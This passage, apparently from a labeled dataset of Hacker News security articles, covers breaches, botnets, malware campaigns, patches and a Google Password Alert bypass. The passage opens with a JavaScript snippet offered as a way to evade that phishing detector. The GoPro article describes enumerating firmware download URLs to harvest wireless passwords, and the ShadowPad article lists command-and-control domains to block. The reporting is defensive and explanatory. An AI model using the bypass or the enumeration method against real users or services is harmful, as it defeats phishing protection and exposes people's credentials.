2. Fooling with First 100,000 Blank Bytes: Google Password Alert checks whether a web page looks like a Google Login by looking at the first 100,000 bytes of the HTML. So, this could be bypassed simply by using the following JavaScript:
passwordalert.looksLikeGooglePageTight_ = function() { var allHtml = document.documentElement.innerHTML.slice(0, 100000); }
And Boom!

",Vulnerability
Hackers Leaked 269 GB of U.S. Police and Fusion Centers Data Online,https://thehackernews.com/2020/06/law-enforcement-data-breach.html,"A group of hacktivists and transparency advocates has published a massive 269 GB of data allegedly stolen from more than 200 police departments, fusion centers, and other law enforcement agencies across the United States.

Dubbed BlueLeaks, the exposed data leaked by the DDoSecrets group contains hundreds of thousands of sensitive documents from the past ten years with official and personal information.

DDoSecrets, or Distributed Denial of Secrets, is a transparency collective similar to WikiLeaks, which publicly publishes data and classified information submitted by leakers and hackers while claiming the organization itself never gets involved in the exfiltration of data.

According to the hacktivist group, BlueLeaks dump includes ""police and FBI reports, bulletins, guides and more,"" which ""provides unique insights into law enforcement and a wide array of government activities, including thousands of documents mentioning COVID19.

As you can see in the screenshot below, a quick analysis of the BlueLeaks dump shows the data contains over millions of files including images, documents, videos, web pages, text files, emails, audio files, and more, though it's yet to be investigated how many files are classified and are not supposed to be public.

Some alerts and guides leaked in BlueLeaks also contained intelligence on the protests, including the recent countrywide Black Lives Matter protests in the U.S. following the death of George Floyd at the time he was in the custody of Minneapolis police.


Some of the U.S. agencies listed in BlueLeaks are:

Alabama Fusion Center
Austin Regional Intelligence Center
Boston Regional Intelligence Center
Colorado Information Analysis Center
California Narcotic Officers' Association
Delaware Information and Analysis Center
FBI Houston Citizens Academy Alumni Association
FBI National Academy Association Arkansas/Missouri Chapter
FBI National Academy Association Michigan Chapter
FBI National Academy Association of Texas

It appears that the source of this massive data stems from a security breach at Houston-based web hosting company 'Netsential Inc,' where the webserver for National Fusion Center Association (NFCA) is hosted, security blogger Krebs reported.

Fusion centers are basically information centers that enable intelligence sharing between local, state, tribal, territorial law enforcement and federal agencies, maximizing their ability to detect, prevent, investigate, and respond to criminal and terrorist activities.

In a statement, NFCA confirmed Krebs that the ""dates of the files in the leak actually span nearly 24 years — from August 1996 through June 19, 2020 — and that the documents include names, email addresses, phone numbers, PDF documents, images, and a large number of text, video, CSV and ZIP files.""

Netsential confirmed that a threat actor had leveraged a compromised Netsential customer user account and the web platform's upload feature and exfiltrated other Netsential customer data, including several U.S. police agencies, including Fusion Centers.

Netsential is the same web hosting company that was previously abused by attackers to infect targeted victims with ransomware by sending spoofed spear-phishing emails disguised as NFCA.
",Data_Breaches
"Prowli Malware Targeting Servers, Routers, and IoT Devices",https://thehackernews.com/2018/06/prowli-malware-botnet.html,"After the discovery of massive VPNFilter malware botnet, security researchers have now uncovered another giant botnet that has already compromised more than 40,000 servers, modems and internet-connected devices belonging to a wide number of organizations across the world.

Dubbed Operation Prowli, the campaign has been spreading malware and injecting malicious code to take over servers and websites around the world using various attack techniques including use of exploits, password brute-forcing and abusing weak configurations.

Discovered by researchers at the GuardiCore security team, Operation Prowli has already hit more than 40,000 victim machines from over 9,000 businesses in various domains, including finance, education and government organisations.

Here's the list devices and services infected by the Prowli malware:

Drupal and WordPress CMS servers hosting popular websites
Joomla! servers running the K2 extension
Backup servers running HP Data Protector software
DSL modems
Servers with an open SSH port
PhpMyAdmin installations
NFS boxes
Servers with exposed SMB ports
Vulnerable Internet-of-Thing (IoT) devices

All the above targets were infected using either a known vulnerability or credential guessing.

Prowli Malware Injects Cryptocurrency Miner
Since the attackers behind the Prowli attack are abusing the infected devices and websites to mine cryptocurrency or run a script that redirects them to malicious websites, researchers believe they are more focused on making money rather than ideology or espionage.

According to GuardiCore researchers, the compromised devices were found infected with a Monero (XMR) cryptocurrency miner and the ""r2r2"" worm—a malware written in Golang that executes SSH brute-force attacks from the infected devices, allowing the Prowli malware to take over new devices.

In simple words, ""r2r2 randomly generates IP address blocks and iteratively tries to brute force SSH logins with a user and password dictionary. Once it breaks in, it runs a series of commands on the victim,"" the researchers explain.

These commands are responsible for downloading multiple copies of the worm for different CPU architectures, a cryptocurrency miner and a configuration file from a remote hard-coded server.

Attackers Also Tricks Users Into Installing Malicious Extensions

Besides cryptocurrency miner, attackers are also using a well known open source webshell called ""WSO Web Shell"" to modify the compromised servers, eventually allowing attackers to redirect visitors of websites to fake sites distributing malicious browser extensions.

The GuardiCore team traced the campaign across several networks around the world and found the Prowli campaign associated with different industries.

""Over a period of 3 weeks, we captured dozens of such attacks per day coming from over 180 IPs from a variety of countries and organizations,"" the researchers said. ""These attacks led us to investigate the attackers' infrastructure and discover a wide-ranging operation attacking multiple services.""

How to Protect Your Devices From Prowli-like Malware Attacks

Since the attackers are using a mix of known vulnerabilities and credential guessing to compromise devices, users should make sure their systems are patched and up to date and always use strong passwords for their devices.

Moreover, users should also consider locking down systems and segmenting vulnerable or hard to secure systems, in order to separate them from the rest of their network.

Late last month, a massive botnet, dubbed VPNFilter, was found infecting half a million routers and storage devices from a wide range of manufacturers in 54 countries with a malware that has capabilities to conduct destructive cyber operations, surveillance and man-in-the-middle attacks.

",Cyber_Attack
Microsoft Warns of Data Stealing Malware That Pretends to Be Ransomware,https://thehackernews.com/2021/05/microsoft-warns-of-data-stealing.html,"Microsoft on Thursday warned of a ""massive email campaign"" that's pushing a Java-based STRRAT malware to steal confidential data from infected systems while disguising itself as a ransomware infection.
""This RAT is infamous for its ransomware-like behavior of appending the file name extension .crimson to files without actually encrypting them,"" the Microsoft Security Intelligence team said in a series of tweets.
The new wave of attacks, which the company spotted last week, commences with spam emails sent from compromised email accounts with ""Outgoing Payments"" in the subject line, luring the recipients into opening malicious PDF documents that claim to be remittances, but in reality, connect to a rogue domain to download the STRRAT malware.
Besides establishing connections to a command-and-control server during execution, the malware comes with a range of features that allow it to collect browser passwords, log keystrokes, and run remote commands and PowerShell scripts.
STRRAT first emerged in the threat landscape in June 2020, with German cybersecurity firm G Data observing the Windows malware (version 1.2) in phishing emails containing malicious Jar (or Java Archive) attachments.
""The RAT has a focus on stealing credentials of browsers and email clients, and passwords via keylogging,"" G Data malware analyst Karsten Hahn detailed. ""It supports the following browsers and email clients: Firefox, Internet Explorer, Chrome, Foxmail, Outlook, Thunderbird.""
Its ransomware capabilities are at best rudimentary in that the ""encryption"" stage only renames files by suffixing the "".crimson"" extension. ""If the extension is removed, the files can be opened as usual,"" Kahn added.
Microsoft also notes that version 1.5 is more obfuscated and modular than previous versions, suggesting that the attackers behind the operation are actively working to improvise their toolset. But the fact that the bogus encryption behavior remains unchanged signals that the group may be aiming to make quick money off unsuspecting users by means of extortion.
The indicators of compromise (IoCs) associated with the campaign can be accessed via GitHub here.

",Malware
10th Anniversary of the World's first Mobile Malware 'Cabir',https://thehackernews.com/2014/01/World-first-Mobile-Malware-Cabir-hacking-news.html,"The year 2014 starts with the formation of new mobile malware like 'Android.HeHe', with the ability to steal text messages, intercept phone calls, and other malware such as 'XXXX.apk' uses WiFi networks or hotspots to steal information, infected more than 24,000 Devices.

But it should not be forgotten by us that 2014 marks the 10th Anniversary of the World's First mobile malware. FortiGuard Labs has published a whitepaper that briefly explains the major mobile threats from 'Cabir' to 'FakeDefend' over the last decade.

The world's first mobile malware was 'Cabir', detected in 2004 when mobiles were not so popular among all of us. It was developed by the group of hackers known as 29A, designed to infect the Nokia Series 60, the most popular Smartphone platform with tens of millions users worldwide at that time.

The name ""Caribe"" appears on the screen of the infected phones and the worm spreads itself by seeking other devices such as phones, printers, game consoles which are within the Bluetooth connectivity of that phone.

The virus had been detected in more than 20 different countries, including the U.S., China, Russia and Finland, where Nokia is headquartered.

The malicious software has destroyed files that forced phones to dial expensive 900 numbers or 911, and made them crumble under denial-of-service attacks, in which the device gets so much inbound traffic that it can't function properly.

At that time, the cyber criminals were simply molding the Bluetooth capabilities and finding out new tactics to infect mobile devices.

A year later, some new variants of the 'Cabir' mobile virus were detected, called Mabir and CommWorrior that had ability to spread itself by Bluetooth as well as MMS, propagating itself via MMS service to all contacts contained in the infected phone.

Thereafter, in 2006, RedBrowser hits the market beating all the previous ones by infecting phones via the universally supported Java 2 Micro Edition (J2ME) platform, allowing the Trojan to target a larger audience, regardless of the phone's manufacturer or operating system and to leverage premium rate SMS services that charged the phone's owner approximately $5 per SMS.

The years passed on with the formation of major mobile malware that marked its existence in mobile malware history.
2004: The First Attempt!
2005: Adding MMS To the Mix
2006: Following the Money
2007-2008: A Period of Transition
2009: The Introduction of the Mobile Botnet
2010: The Industrial Age Of Mobile Malware
2011: Android, Android and Even More Android!
2013: Game On – New Modes of Attack
In 2013, Fortinet's FortiGuard Labs saw more than 1,300 new malicious applications per day and is currently tracking over 300 Android malware families and over 400k malicious Android applications.
According to Juniper Networks' annual Mobile Threat Report, mobile malware grew by 614 percent from March 2012 to March 2013. This equates to 276,259 troublesome apps and vulnerabilities.

Now, after the arrival of large number of Mobile Platforms that are becoming smarter by the time, the landscape of mobile threats have changed dramatically and cyber criminals are trying more sophisticated ways with the only soul purpose of making money.

You can also download similar interesting Mobile Security Whitepapers:;
Bring Your Own Device (BYOD) Policy Guidebook
Enterprise Mobility for Dummies
Want to stay safe out there? Run software updates on your phones and avoid buying apps from unknown app stores.

",Malware
Vulnerability Exposes Thousands of GoPRO Users' Wireless Passwords,https://thehackernews.com/2015/03/gopro-wireless-password.html,"GoPro, the popular wearable high-definition camera manufacturer, has vulnerability in its official website that exposes usernames and passwords of thousand of its customers' wireless network.

Action camera maker GoPro manufactures cameras which are compact, lightweight, rugged, and are wearable or mountable on vehicles. GoPro cameras capture still photos or video in HD through a wide-angle lens.

GoPro offers a mobile app to its users that gives you full remote control of all camera functions — take a photo, start/stop recording and adjust settings.

You need to connect to the wireless network operated by your camera, and the GoPro app gives you instant access to the GoPro Channel to view photos and play back videos, then share your favorites via email, text, Facebook, Twitter and more.

FLAW EXPOSES WIRELESS PASSWORD
Security researcher Ilya Chernyakov reported The Hacker News team that GoPro camera update mechanism could expose your wireless username and password to the hackers.

Recently, Chernyakov borrowed a GoPro camera from his friend, who forgot its GoPro password. So, he decided to recover the password of the camera by updating the camera firmware manually, as mentioned on the GoPro website.
In order to get camera update files, one needs to follow instruction available on the GoPro website. ""It is pretty simple procedure, with Next -> Next -> Finish that ends up with a link, to a zip file. When you download this file, you get a zip archive which you supposed to copy to a SD card, put it in your GoPro and reboot the camera,"" he explained.
Archive Download Link generated by GoPro website for Chernyakov's device:
https://cbcdn2.gp-static.com/uploads/firmware-bundles/firmware_bundle/8605145/UPDATE.zip
When he opened the archive rar file, he found a file named ""settings.in"", which contained the desired settings for the camera, including his wireless network's name and password in plain text, as shown in the figure.
You need to notice the numeric characters (red bold) contained in the above archive URL, representing some sort of serial number referring particularly to Chernyakov's camera.

COLLECTING THOUSANDS OF WIRELESS PASSWORDS
Chernyakov noticed that GoPro website is not using any kind of authentication for providing archive download for each customer and changing the numeric value +/- to any digit in the above URL can expose customized archive for other customers.

He wrote a python script to automatically download the file for all possible numbers in the same serial and collected more than thousands of wireless usernames and passwords, belonging to the GoPro customers, including his own.

Obviously, wireless password are of no use unless the attacker is not in the range of any targeted wireless network, but exposed username/password list could be used by attackers in a simple password dictionary brute-force attacks in various attacks.

Chernyakov reported the vulnerability to the company, but haven't heard back from them. The affected list of customers could be wide as GoPro is the popular camera maker and the company recently reported fourth-quarter revenue of $634 Million, which was more than doubled the company's third-quarter sales.

",Vulnerability
Here's How to Get Facebook New 'Dislike Button' to Your Profile,https://thehackernews.com/2015/09/get-facebook-dislike-button.html,"You may call this a misleading headline. Right?

Yes, it's True. And I apologize for this. But…

...before someone else tricks you to visit any malicious link with intent to hijack your Computer or to Hack Facebook Profile, I just tricked you to visit this 'WARNING' article about Facebook Scam of the Dislike button.

Facebook Scam: Get Facebook Dislike Button

Facebook users are being targeted in a new scam that takes advantage of the recent widely publicized announcement by Facebook CEO Mark Zuckerberg that a 'Facebook Dislike Button' is in development.

Zuckerberg said that there're obvious moments in life or bad fortunes where people do not want to ""like"" posts and wants to express their empathy. He also confirmed that the social network giant was working on such technology but didn't say that it's actually a ""Dislike.""

The much-vaunted ""Dislike"" or ""empathy"" feature has not rolled out just yet, but has arrived on Facebook by the scammers that are making use of this announcement to help spread malware on users' systems.


Scammers are offering links to 'Get Newly Introduced Facebook Dislike Button on your Profile [sic]' that actually direct users to a specific site in order to collect their sensitive information and install malware on their machines.
Once clicked, the malformed link redirects users to a web page where they are asked to fill out surveys that result in the collection of users' personal data and account credentials.

The collected information can then be misused to send the malicious links to affected users' friends list and spread the scheme further.

Learned from My Scam? Now Scam (educate) Others ;)

So next time when you come across any social media posts that claim to offer such features, you are strictly advised to avoid clicking it.

You should also Share this article with your Facebook/Twitter Friends... Trick them... Educate them...!

However, in case you are curious to know how the dislike button would look like and how it would work, you can go on to read this article on The Hacker News: Here's How Facebook 'Dislike or Empathy Button' Would Look Like.

",Malware
Chinese Hackers spied on European Diplomats during recent G20 meetings,https://thehackernews.com/2013/12/chinese-hackers-spied-on-european.html,"Security firm FireEye has released a new report detailing cyber espionage attacks on European Ministries of Foreign Affairs (MFA) during recent G20 meetings by Chinese Hackers.
According to FireEye's researcher Nart Villeneuve, hackers infiltrated the computer networks of five European foreign ministries by sending emails containing malware files to staff and gained access to their systems to steal credentials and high-value information.
""We believe that the Ke3chang attackers are operating out of China and have been active since at least 2010,""
The cyber espionage campaign named as ""Operation Ke3chang"" and if the victim will download & open the malware file which disguised itself as files detailing a possible intervention in Syria (US_military_options_in_Syria.pdf.zip), it gets installed on the victim's computer with a backdoor.

""They have also leveraged a Java zero-day vulnerability (CVE-2012-4681), as well as older, reliable exploits for Microsoft Word (CVE-2010-3333) and Adobe PDF Reader (CVE-2010-2883)."" report said.

Once a compromised system connects to the CnC server, the Ke3chang attackers follow a predetermined script to gather information about the local computer and the network to which it is connected.

There were almost 23 Command and Control servers used in the Ke3chang campaign, FireEye ""gained visibility into one of 23 known command-and-control servers operated by the Ke3chang actor for about a week. During this time, we discovered 21 compromised machines connecting to the CnC server.""

FireEye said:
""Large-scale cyber espionage campaigns have demonstrated that government agencies around the world, including embassies, are vulnerable to targeted cyber attacks.""
Security firm FireEye had been following the hackers behind the Syria-related attack for several years. The complete FireEye report is available on their website, you can read it for detailed information.

",Malware
Update Your Java to Patch 20 Vulnerabilities Or Just Disable it,https://thehackernews.com/2014/07/update-your-java-to-patch-20.html,"Today, Oracle has released its quarterly Critical Patch Update (CPU) for the month of July, as part of its monthly security bulletin, in which it fixes a total of 113 new security vulnerabilities for hundreds of the company's products.

The security update for Oracle's popular browser plug-in Java addresses 20 vulnerabilities in the software, all of which are remotely exploitable without authentication, that means an attacker wouldn't need a username and password to exploit them over a network.

MOST CRITICAL ONE TO PATCH FIRST
Oracle uses the Common Vulnerability Scoring System (CVSS) to provide an open and standardized rating of the security holes it finds in its products. One or more of the Java vulnerabilities received the most ""critical"" rating according to Oracle's Common Vulnerability Scoring System (CVSS), i.e. base score of 10 or near.

Although, numerous other Oracle products and software components addressed in the latest security updates, which address around 29 vulnerabilities in Oracle Fusion Middleware out of which 27 enable remote code execution, seven vulnerabilities in Hyperion products and five apiece for Oracle database and E-Business Suite. But, Java was the only impacted with security issues scoring the highest critical rating.

So, Java patches are the most urgent and should be at the top of your list, as one of the Java SE vulnerabilities (CVE-2014-4227) in this patch update, scores ten out of ten in the common vulnerability rating system, and seven of the other Java SE client vulnerabilities received a CVSS score of 9.3.

Oracle Database Server will also be updated for five vulnerabilities, one of which is remotely exploitable, while there will be 10 patches released for MySQL Server, but none of them are remotely exploitable.

JAVA WILL CONTINUE TO SUPPORT WINDOWS XP
The company recently announced that it would no longer support Java on Windows XP, though it expect Java 7 to continue to work on Windows XP platform and Oracle security updates for Java on XP machines will continue.
""This end of support announcement has been misread as 'Java no longer works on Windows XP' or 'Oracle will stop Java updates from being applied on Windows XP.' These statements are not correct,"" said Oracle vice-president of product management in the Java Platform Group Henrik Stahl.
""We expect all versions of Java that were supported prior to the Microsoft de-support announcement to continue to work on Windows XP for the foreseeable future. In particular, we expect that JDK 7 will continue to work on Windows XP.""
However, Java 8 is not designed even to install on Windows XP operating system. So, the installer for the developer releases of Java 8 will not run on it without manual intervention.

PATCH OR SIMPLY DISABLE JAVA?

Java runs on more than 850 million personal computers and on billions of devices worldwide, therefore protecting against Java zero-day exploits is a rising concern among millions of Windows, Mac OS, and Linux users.



Security experts recommend not installing Java if you don't already have it, and perhaps even disable it if you have it if you do not regularly use an application or visit any Web site that requires Java.
UPDATE YOUR SYSTEMS NOW
The company is urging its customers to update their systems as soon as possible. ""Due to the threat posed by a successful attack, Oracle strongly recommends that customers apply Critical Patch Update fixes as soon as possible,"" the firm warned.

Oracle has published the full details about the list of patches here.

",Vulnerability
Vulnerability in Google Earth Software exposed by longrifle0x,https://thehackernews.com/2012/03/vulnerability-in-google-earth-software.html,"Vulnerability in Google Earth Software exposed by longrifle0x

Ucha Gobejishvili, Security researcher also known as Longrifle0x, found another Interesting Security issue in one of the most famous software called, Google Earth. He found a critical code execution vulnerability on google earth software client.

For Proof of Concept, One can download any version of Google Earth, Then open ""Click Placemark"" , Put a malicious code there as one sample given below and Execute your code.

Another past bug hunting by Longrifle0x:
1.) Cross Site Scripting (XSS) Vulnerability in Google
2.) Skype Cross Site Vulnerabilities, user accounts can be Hijacked
3.) [POC] Buffer Overflow Vulnerability in GOM Media Player v. 2.1.37
and More..

",Vulnerability
Ukrainian Man Arrested For Distributing NotPetya Ransomware And Helping Tax Evaders,https://thehackernews.com/2017/08/ukraine-petya-ransomware-hacker.html,"Ukrainian authorities have arrested a 51-year-old man accused of distributing the infamous Petya ransomware (Petya.A, also known as NotPetya) — the same computer virus that massively hit numerous businesses, organisations and banks in Ukraine as well as different parts of Europe around 45 days ago.

However, the story is not as simple as it seems, which portrayed this man as a criminal. I recommend you to read complete article to understand the case better and then have an opinion accordingly.

Sergey Neverov (Сергей Неверов), father of two sons and the resident of the southern city of Nikopol, is a video blogger and computer enthusiast who was arrested by the Ukrainian police on Monday, August 7 from his home.

What Neverov Did?
According to a press release published on Thursday by the Ukrainian cyber police department, Neverov uploaded a video, showing how to infect a computer with Petya.A ransomware—and also shared a download link for NotPetya malware to his social media account.

After searching Neverov's home, the authorities seized his computers and other equipment, which were later analysed by the officers from the Ukrainian cyber-crime department, who discovered some files containing the malicious software.

However, the police confirmed that Neverov was neither the actual author of the NotPetya virus, nor he was behind the massive ransomware attack that crippled many businesses and banks in this summer.

The authorities charged Neverov of spreading a copy of NotPetya virus via his social media account that eventually infected at least 400 computers in Ukraine, and also believe that he had helped tax evaders — directly or indirectly.

Companies Intentionally Infected Their Computers to Avoid Paying Taxes & Fines

If you are not aware, 30th June was the last date in Ukraine for filing tax returns and unfortunately, during the same time NotPetya outcry began that encrypted sensitive files and documents for several businesses and organisations across the country.

Since firms that were infected by the virus were unable to submit tax reports on time and liable for paying huge fines for late submissions, the head of the parliamentary committee on tax and customs, Nina Yuzhanina, gave affected taxpayers some relief (through a statement on his Facebook profile) by extending the last date to 31st December, 2017.

Police believe the malware sample distributed by Neverov is being used by some businesses to deliberately infect their systems to avoid paying taxes on time as well as late tax return penalty.

Is Neverov a Hacker or Computer Enthusiast?
However, the story has another angle that indicates charges on Neverov are baseless.

As I mentioned, Neverov is a video-blogger with 11,000 followers on YouTube, who loves to play with computers and publish review videos on computer hardware and gadgets for informational purposes.

Neverov never tried to hide his identity, and even in some of his videos, he revealed his face and the exact GPS location to his house in Nikopol, which suggests that he had nothing to hide, neither his intentions were wrong.

When NotPetya outcry hit his country, Neverov got curious about the ransomware and started studying about the malware to understand how it works and to find a way to recover infected files without paying ransom to the attackers.
To get started, he downloaded a sample of NotPetya ransomware from the Internet and tested it on his computer, just like other malware analysts do.

In fact, while recording a video of the NotPetya infection to demonstrate its impact on a targeted computer, he failed two times in infecting his own computer.

When succeeded in the third attempt, Neverov uploaded the copy of NotPetya malware on file hosting website and shared the link on his social media account just for the informational purpose, saying ""use at your own risk.""

Moreover, it is important to note that Neverov would not be gaining any profit by distributing the ransomware because of NotPetya has been designed to blackmail victims into paying ransom amount to a specific Bitcoin address that belongs to the original attackers only.

If Convicted, Neverov Could Face 3 Years In Prison

Neverov, the computer enthusiast, has now been charged under article 361 (part 1) of the Criminal Code of Ukraine, which says:

""Unauthorized interference with the work of electronic computing machines (computers), automated systems, computer networks or telecommunication networks, ...which led to the leak, loss, fake, blocking information, distortion of the information processing or violation the established order it's routing.""

Although this sanction provides maximum punishment of up to two years in prison, Neverov has been threatened to face up to three years in jail, according to the official comments from the law enforcement authorities.

The case seems somewhat similar to the one currently being faced by Marcus Hutchins, also known as MalwareTech, who gained famed for stopping the WannaCry ransomware.

Hutchins was arrested by the FBI while he was travelling to his home after attending Def Con event in the United States and has been charged with creating and distributing a banking malware.

Since Hutchins is a malware researcher, many infosec community members believe possibly a proof-of-concept code written and published by him publicly was re-used by the criminals to create the banking malware, which mistakenly framed him as the criminal mastermind.

Hutchins is set to face a hearing in the US district court on 14 August, so we still have to wait for more information about his case.

",Cyber_Attack
"Kelihos Botnet with 110,000 PCs take down finally",https://thehackernews.com/2012/03/kelihos-botnet-with-110000-pcs-take.html,"Kelihos Botnet with 110,000 PCs take down finally

Botnets are particularly insidious, using thousands of virus-infected computers which their owners are unaware are being used for sending out spam, launching denial-of-service attacks and stealing data.But taking down a botnet poses challenges. The main problem is that legitimate security companies can't use the same type of weapons as criminals.

A group of malware experts from security companies Kaspersky Lab, CrowdStrike, Dell SecureWorks and the Honeynet Project, have worked together to disable the second version of the Kelihos botnet, which is significantly bigger than the one shut down by Microsoft and its partners.

Kelihos is used to send spam, carry out DDoS attacks, and steal online currency such as bitcoin wallets. It operates as a so-called ""peer-to-peer"" bot network, which are more difficult to take down than those with a centralized command and control servers (C&C), according to Tillmann Werner, a senior researcher at CrowdStrike.

Seculert reports that Kelihos-B, which was distributed as a Facebook worm over recent weeks, is still active and spreading - even after the shutdown attempt by CrowdStrike and Kaspersky Labs this week. The peer-to-peer Kelihos botnet, also known as Hlux, was sucked into a 'sinkhole' by a small group of security experts from Kaspersky Lab, Dell SecureWorks, CrowdStrike Intelligence Team and the Honeynet Project.

It's unclear who is behind Kelihos, he said. It was created last October after Microsoft used a sinkhole to halt the original Kelihos botnet, which had infected about 41,000 computers.The latest Kelihos used servers with hosts registered in Sweden, Russia and Ukraine that were controlled by a botmaster, according to CrowdStrike.

The machines are still infected, and the researchers are relying on ISPs to inform affected users. What is to say this botnet won't just morph itself again? ""That is a possibility,"" said Crowdstrike's Mr. Meyers. ""But when that happens, we'll be there to take it back down.""

",Malware
Microsoft Patches 3 Zero-day Vulnerabilities actively being Exploited in the Wild,https://thehackernews.com/2014/10/microsoft-patches-3-zero-day_15.html,"As part of monthly patch update, Microsoft released eight security bulletins on Tuesday that address dozens of vulnerabilities including a zero-day flaw reportedly being exploited by Russian hackers to target NATO computers and a pair of zero-day Windows vulnerabilities that attackers have been exploiting to penetrate major corporations' networks.

Just a day before yesterday, our team reported you about a Zero-day vulnerability discovered by the cyber intelligence firm iSight Partners affecting all supported versions of Microsoft Windows and is being exploited in a five-year old cyber-espionage campaign against the Ukrainian government and U.S organisations.

Researchers at FireEye found two zero-day flaws, used in separate, unrelated attacks involving exploitation of Windows kernel, just a day after iSight partners disclosed zero-day in Windows. The pair of zero-day vulnerabilities could allow an attacker to access a victim's entire system.

According to the researchers at FireEye, the two of three so-called zero-day flaws are being actively exploited in the wild by hackers and are being used as ""part of limited, targeted attacks against some major corporations.""

Microsoft updates for the month of October 2014 Patch Tuesday address several vulnerabilities in all currently supported versions of Windows, Internet Explorer, Office, Sharepoint Server and the .Net framework. Three of the bulletins are marked ""critical"" and rest are ""important"" in severity. Systems administrators are recommended to apply the patches immediately for the critical updates.

The zero-day flaw (CVE-2014-4114) discovered by iSight partners in all supported versions of Microsoft Windows and Windows Server 2008 and 2012 that is being exploited in the ""Sandworm"" cyberattack, are patched as part of MS14-060. Microsoft rated Bulletin MS14-060 as important rather than critical because it requires a user to open a Microsoft Office file to initiate the remote code execution.
""The vulnerability [exists in Windows OLE] could allow remote code execution if a user opens a Microsoft Office file that contains a specially crafted OLE object,"" Microsoft warned in its bulletin. ""An attacker who successfully exploited this vulnerability could run arbitrary code in the context of the current user."" (OLE is Microsoft technology for creating complex documents that contain a combination of text, sound, video and other elements.)
However, the two zero-days discovered by FireEye are patched as part of MS14-058 and are marked critical. They are designated CVE-2014-4148 and CVE-2014-4113.
""We have no evidence of these exploits being used by the same actors. Instead, we have only observed each exploit being used separately, in unrelated attacks,"" FireEye explained.
CVE-2014-4148 exploits a vulnerability in TrueType Font (TTF) processing. TTF processing is performed in kernel mode as part of the GDI and has been the source of critical vulnerabilities in the past as well.

The vulnerability affects Windows 8.1/Windows Server 2012 R2, Windows 8/Windows Server 2012, Windows 7/Windows Server 2008 R2 (Service Pack 0 and 1) and Windows XP Service Pack 3. It affects both 32-bit and 64-bit versions of the Operating System, but the attacks have only been observed against 32-bit systems.

However, CVE-2014-4113 is a local Elevation of Privilege (EoP) vulnerability that affects all versions of Windows including Windows 7, Vista, XP, Windows 2000, Windows Server 2003/R2, Windows Server 2008/R2, Windows 8.x and Windows Server 2012/R2.

Out of remaining bulletins, two are rated critical, both address remote code execution vulnerability in Internet Explorer and Microsoft .NET Framework respectively. Remaining bulletins are rated important in severity, include elevation of privilege bugs, Security Feature Bypass, and a remote code execution flaw.

",Vulnerability
Backdoor Found in Popular Server Management Software used by Hundreds of Companies,https://thehackernews.com/2017/08/netsarang-server-management.html,"Cyber criminals are becoming more adept, innovative, and stealthy with each passing day. They are now adopting more clandestine techniques that come with limitless attack vectors and are harder to detect.

Recently, cyber crooks managed to infiltrate the update mechanism for a popular server management software package and altered it to include an advanced backdoor, which lasts for at least 17 days until researchers discovered it.

Dubbed ShadowPad, the secret backdoor gave attackers complete control over networks hidden behind legit cryptographically signed software sold by NetSarang—used by hundreds of banks, media firms, energy companies, and pharmaceutical firms, telecommunication providers, transportation and logistics and other industries—for 17 days starting last month.

Important Note — If you are using any of the affected product (listed below), we highly recommend you stop using it until you update them.

Hacker Injected Backdoor Through Software Update Mechanism

According to researchers at Kaspersky Labs, who discovered this well-hidden backdoor, someone managed to hijack the NetSarang's update mechanism and silently insert the backdoor in the software update, so that the malicious code would silently deliver to all of its clients with NetSarang's legitimate signed certificate.

The attackers of the Petya/NotPetya ransomware that infected computers around the world in June used the same tactic by compromising the update mechanism for Ukrainian financial software provider called MeDoc and swapped in a dodgy update including NotPetya.
""ShadowPad is an example of the dangers posed by a successful supply-chain attack,"" Kaspersky Lab researchers said in their blog post published Tuesday. ""Given the opportunities for covert data collection, attackers are likely to pursue this type of attack again and again with other widely used software components.""
The secret backdoor was located in the nssock2.dll library within NetSarang's Xmanager and Xshell software suites that went live on the NetSarang website on July 18.

However, Kaspersky Labs researchers discovered the backdoor and privately reported it to the company on August 4, and NetSarang immediately took action by pulling down the compromised software suite from its website and replacing it with a previous clean version.

The affected NetSarang's software packages are:
Xmanager Enterprise 5.0 Build 1232
Xmanager 5.0 Build 1045
Xshell 5.0 Build 1322
Xftp 5.0 Build 1218
Xlpd 5.0 Build 1220

Hackers Can Remotely Trigger Commands

The attackers hide the ShadowPad backdoor code in several layers of encrypted code that were decrypted only in intended cases.
""The tiered architecture prevents the actual business logics of the backdoor from being activated until a special packet is received from the first tier command and control (C&C) server (activation C&C server),"" the researchers wrote.
Until then, the backdoor pings out every 8 hours to a command-and-control server with basic information on the compromised computers, including their domain names, network details, and usernames.

Here's how the attackers activate the backdoor:

The activation of the backdoor was eventually triggered by a specially crafted DNS TXT record for a specific domain name. The domain name is generated based on the current month and year, and performs a DNS lookup on it.

Once triggered, the command and control DNS server in return sends back the decryption key which is downloaded by the software for the next stage of the code, effectively activating the backdoor.

Once activated, the ShadowPad backdoor provides a full backdoor for an attacker to download and run arbitrary code, create processes, and maintain a virtual file system (VFS) in the registry, which is encrypted and stored in locations unique to each victim.

Kaspersky researchers said they could confirm activated backdoor in one case, against an unnamed company located in Hong Kong.

How to Detect this Backdoor and Protect Your Company

The company has rolled out an update to kill the malicious software on August 4, and is investigating how the backdoor code got into its software.

Anyone who has not updated their NetSarang software since then is highly recommended to upgrade to the latest version of the NetSarang package immediately to protect against any threats.

Additionally, check if there were DNS requests from your organization to the following list of domains. If yes, the requests to those domains should be blocked.
ribotqtonut[.]com
nylalobghyhirgh[.]com
jkvmdmjyfcvkf[.]com
bafyvoruzgjitwr[.]com
xmponmzmxkxkh[.]com
tczafklirkl[.]com
notped[.]com
dnsgogle[.]com
operatingbox[.]com
paniesx[.]com
techniciantext[.]com
NetSarang installation kits from April do not include the malicious library.

",Malware
Ex-CIA employee charged with leaking 'Vault 7' hacking tools to Wikileaks,https://thehackernews.com/2018/06/cia-hacking-tools.html,"A 29-year-old former CIA computer programmer who was charged with possession of child pornography last year has now been charged with masterminding the largest leak of classified information in the agency's history.

Joshua Adam Schulte, who once created malware for both the CIA and NSA to break into adversaries computers, was indicted Monday by the Department of Justice on 13 charges of allegedly stealing and transmitting thousands of classified CIA documents, software projects, and hacking utilities.

Schulte has also been suspected of leaking the stolen archive of documents to anti-secrecy organization WikiLeaks, who then began publishing the classified information in March 2017 in a series of leaks under the name ""Vault 7.""

It is yet unconfirmed whether Schulte leaked documents to WikiLeaks and if yes, then when, but he had already been a suspect since January 2017 of stealing classified national defense information from the CIA in 2016.

According to the indictment, after stealing the classified documents, Schulte tried to cover his tracks by altering a computer operated by the US Intelligence Agency to grant him unauthorized access to the system in March and June of 2016 and then deleting records of his activities and denying others access to the system.

